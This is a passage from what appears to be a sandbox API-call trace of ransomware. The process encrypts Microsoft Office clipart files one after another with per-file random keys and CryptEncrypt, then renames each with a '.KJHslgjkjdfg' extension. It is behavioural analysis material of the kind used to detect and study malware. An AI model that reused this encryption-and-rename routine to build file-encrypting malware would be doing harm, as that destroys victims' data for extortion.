dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.828] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.828] GetProcessHeap () returned 0x2a0000 [0159.828] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.828] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.828] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.828] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.830] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.830] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.830] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.830] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.830] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.831] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.831] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.831] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x670, lpOverlapped=0x0) returned 1 [0159.831] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x670, dwBufLen=0x670 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x670) returned 1 [0159.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.831] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x670, lpOverlapped=0x0) returned 1 [0159.831] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.831] SetEndOfFile (hFile=0x114) returned 1 [0159.833] GetProcessHeap () returned 0x2a0000 [0159.833] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.833] GetProcessHeap () returned 0x2a0000 [0159.833] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.kjhslgjkjdfg")) returned 1 [0159.835] CloseHandle (hObject=0x114) returned 1 [0159.835] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0159.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.836] GetProcessHeap () returned 0x2a0000 [0159.836] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.836] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.836] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.839] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.839] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.839] GetProcessHeap () returned 0x2a0000 [0159.839] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.839] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.839] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.839] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.839] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.839] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.839] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.840] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.840] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.840] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc38, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc38, lpOverlapped=0x0) returned 1 [0159.840] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc40, dwBufLen=0xc40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc40) returned 1 [0159.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.840] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc40, lpOverlapped=0x0) returned 1 [0159.840] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.840] SetEndOfFile (hFile=0x114) returned 1 [0159.843] GetProcessHeap () returned 0x2a0000 [0159.843] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.843] GetProcessHeap () returned 0x2a0000 [0159.843] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.kjhslgjkjdfg")) returned 1 [0159.844] CloseHandle (hObject=0x114) returned 1 [0159.844] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0159.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.846] GetProcessHeap () returned 0x2a0000 [0159.846] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.846] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.846] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0159.849] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.849] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.849] GetProcessHeap () returned 0x2a0000 [0159.849] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.850] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.850] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.850] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.850] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.850] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.850] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.850] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.850] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.850] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.850] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x32b5, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x32b5, lpOverlapped=0x0) returned 1 [0159.851] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x32c0, dwBufLen=0x32c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x32c0) returned 1 [0159.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.852] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x32c0, lpOverlapped=0x0) returned 1 [0159.852] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.852] SetEndOfFile (hFile=0x114) returned 1 [0159.855] GetProcessHeap () returned 0x2a0000 [0159.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.855] GetProcessHeap () returned 0x2a0000 [0159.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.kjhslgjkjdfg")) returned 1 [0159.856] CloseHandle (hObject=0x114) returned 1 [0159.856] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0159.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.858] GetProcessHeap () returned 0x2a0000 [0159.858] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.858] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.858] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0159.860] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.860] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.860] GetProcessHeap () returned 0x2a0000 [0159.860] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.860] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.860] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.860] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.861] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.861] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.861] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.861] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.861] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.861] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.861] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.861] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.861] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2466, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2466, lpOverlapped=0x0) returned 1 [0159.862] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2470, dwBufLen=0x2470 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2470) returned 1 [0159.862] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.862] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2470, lpOverlapped=0x0) returned 1 [0159.862] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.862] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.862] SetEndOfFile (hFile=0x114) returned 1 [0159.864] GetProcessHeap () returned 0x2a0000 [0159.864] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.864] GetProcessHeap () returned 0x2a0000 [0159.864] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.kjhslgjkjdfg")) returned 1 [0159.865] CloseHandle (hObject=0x114) returned 1 [0159.865] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0159.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.867] GetProcessHeap () returned 0x2a0000 [0159.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.867] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.867] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0159.869] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.869] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.869] GetProcessHeap () returned 0x2a0000 [0159.869] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0159.869] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0159.869] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.869] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0159.869] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.869] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.869] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, 